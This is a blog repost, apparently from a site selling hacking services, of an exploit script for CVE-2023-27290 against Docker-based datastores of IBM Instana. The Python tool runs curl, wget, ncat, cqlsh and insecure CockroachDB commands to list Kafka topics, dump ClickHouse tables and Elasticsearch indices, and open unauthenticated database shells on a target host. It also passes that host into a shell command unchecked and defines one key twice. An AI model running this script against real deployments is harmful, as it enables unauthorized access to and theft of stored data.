Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86369331

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Docker based datastores for IBM Instana 241-2 243-0 - No Authentication 
# Google Dork: [if applicable]
# Date: 06 March 2023
# Exploit Author: Shahid Parvez (zippon)
# Vendor Homepage: https://www.instana.com/trial/ *and* https://www.ibm.com/docs/en/instana-observability
# Software Link: https://www.ibm.com/docs/en/instana-observability/current?topic=premises-operations-docker-based-instana
# Version: [Vulnerable version : 239-0 to 239-2 241-0 to 241-2 243-0] (REQUIRED Version : 241-3)
# Tested on: [Mac os]
# CVE : CVE-2023-27290
import argparse
import subprocess
import pexpect

# Define the available options and their corresponding commands
COMMANDS = {
    "kafka": "kafka-topics --bootstrap-server {host}:{port} --list --exclude-internal",
    "cassandra": "/bin/bash -c 'cqlsh {host} {port} && exit'",
    "clickhouse": 'curl --insecure "http://{host}:{port}/?query=SELECT%20*%20FROM%20system.tables"',
    "cockroach": "cockroach sql --host {host}:{port} --insecure",
    "zookeeper": "echo dump |ncat {host} {port}",
    "node-export": "curl http://{host}:{port}",
    "elasticsearch": "curl http://{host}:{port}/_cat/indices?v",
    "prometheus": "curl http://{host}:{port}/metrics",
    "clickhouse": 'wget -O system_tables.csv "http://{host}:{port}/?query=SELECT%20*%20FROM%20system.tables"'
}

# Define the parser for command-line arguments
parser = argparse.ArgumentParser(description="Script to run various commands on a host.")
parser.add_argument("host", help="The host IP address")
parser.add_argument("option", choices=COMMANDS.keys(), help="Select an option")
parser.add_argument("--port", type=int, default=None, help="The port number (default: use default port for the selected option)")
parser.add_argument("--output", help="Output the result to a file")
parser.add_argument("--verbose", action="store_true", help="Print the command line that was executed")

# Parse the command-line arguments
args = parser.parse_args()

# Determine the port number to use
if args.port is None:
    if args.option == "cassandra":
        port = "9042"
    elif args.option == "clickhouse":
        port = "8123"
    elif args.option == "cockroach":
        port = "26257"
    elif args.option == "elasticsearch":
        port = "9200"
    elif args.option == "kafka":
        port = "9092"
    elif args.option == "node-export":
        port = "8181"
    elif args.option == "prometheus":
        port = "9090"
    elif args.option == "zookeeper":
        port = "2181"
else:
    port = str(args.port)

# Build the command to execute
command = COMMANDS[args.option].format(host=args.host, port=port)

# Print the command line if verbose option is provided
if args.verbose:
    print(f"Executing command: {command}")

# If cassandra or cockroach option is selected, use pexpect to communicate inside the interactive shell
if args.option == "cassandra":
    child = pexpect.spawn(command)
    child.expect("Connected to.*", timeout=10)
    child.interact()
    output = child.before
elif args.option == "cockroach":
    child = pexpect.spawn(command)
    child.expect("root@.*:", timeout=10)
    child.interact()
    output = child.before
# If any other option is selected, execute the command and capture the output
else:
    output = subprocess.check_output(command, shell=True)

# If an output file is provided, write the output to the file
if args.output:
    with open(args.output, "wb") as f:
        f.write(output)

# Print the output to the console
print(output.decode())